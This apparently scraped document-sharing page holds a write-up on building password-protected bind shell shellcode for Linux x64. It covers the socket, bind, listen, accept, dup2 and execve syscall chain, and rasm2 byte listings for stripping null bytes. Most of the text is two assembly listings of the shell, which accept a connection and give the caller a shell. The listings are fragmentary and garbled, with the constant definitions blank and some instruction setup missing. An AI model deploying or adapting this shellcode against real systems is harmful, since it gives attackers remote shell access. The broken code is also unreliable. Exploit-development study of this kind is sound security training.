Professional Documents
Culture Documents
PROCEDURE-
First of all, what are we trying to achieve here? Our goal is to write shellcode for the Linux
x64 architecture that will open a TCP over IPv4 socket, wait for an incoming connection and
execute a shell only after the client provides a valid password.
In order to write a regular bind shell, we need to chain several syscalls. The exact order is
the following (we’ll take care of the authentication later):
1- We create a new socket and bind it to the target address using the socket and bind
syscalls
2- We make the socket stay open and wait for a connection using the listen syscall
3- Once an incoming connection is received, we use the accept syscall to establish the
connection
4- We duplicate each standard stream into the new connection stream using the dup2
syscall, so the target machine can read and write messages to and from the source machine
5- We fire a shell by using te execve syscall
Each of these syscalls has a signature we need to address. Certain registers must contain
specific values. For example, the rax register is used to identify the syscall that is executed
so it should always contain the
syscall number. A whole document containing a full syscall table can be found here.
Armed with all our knowledge we now need to chain every syscall together. The following is
an example implementation with added comments aimed to clarify each part of the process:
While working on the initial implementation null-bytes were avoided but I did not care much
about size until this point. The payload is now 180 bytes in size. In order to remove null-
bytes and reduce instruction size, I use radare2 rasm2 utility to compare instructions output.
Here’s a simple case:
PROGRAM
48c7c029000000 mov rax, 0x29 ; this is the socket syscall number
48c7c702000000 mov rdi, 0x02 ; 0x02 correponds with IPv4
4831f6 xor rsi, rsi
48ffc6 inc rsi ; 0x01 correponds with TCP
31d2 xor edx, edx ; 0 corresponds with protocol sub-family
0f05 syscall ; executes the syscall
0f05 syscall
; =================================================
; =================================================
global _start
; Syscall numbers
; Constant definitions
; Standard streams
; Configs
_start:
xor r14, r14 ; zero out r14 for future repetitive use
push syscalls.socket
pop rax
push ipv4
pop rdi
push tcp
pop rsi
cdq ; edx = 0
syscall
sub rsp, 8
; 3 - Bind to socket
push syscalls.bind
pop rax
push ipv4.addressLen
pop rdx
syscall
; 4 - Listen
; listen(sock, MAX_CLIENTS)
push syscalls.listen
pop rax
push config.max_cons
pop rsi
syscall
push syscalls.accept
pop rax
sub rsp, 16
syscall
push syscalls.close
syscall
push standardIO.err
pop r15
loop_through_stdfds:
mov rdi, r9
push syscalls.dup2
pop rax
syscall
dec r15
jns loop_through_stdfds
; 8 - Execve
push syscalls.execve
pop rax
syscall
push syscalls.close
read_pass:
push 4
scasq
jne read_pass
; =================================================
; =================================================
global _start
; Syscall numbers
; Constant definitions
; Standard streams
standardIO.in equ 0x00
; Configs
section .text
_start:
push syscalls.socket
pop rax
push ipv4
pop rdi
push tcp
pop rsi
cdq
syscall
; 3 - Bind to socket
push syscalls.bind
pop rax
push ipv4.addressLen
pop rdx
syscall
; 4 - Listen
push syscalls.listen
pop rax
push config.max_cons
pop rsi
syscall
; 5 - Accept incoming connection
push syscalls.accept
pop rax
dec rsp
syscall
read_pass:
mov rdi, r9
push 0x04
pop rdx
syscall
scasq
jne read_pass
push standardIO.err
pop r15
loop_through_stdfds:
mov rdi, r9
push syscalls.dup2
pop rax
syscall
dec r15
jns loop_through_stdfds
; 9 - Execve
push r14
push rbx
push r14
push rdi
push syscalls.execve
pop rax
syscall
SAMPLE OUTPUT
RESULT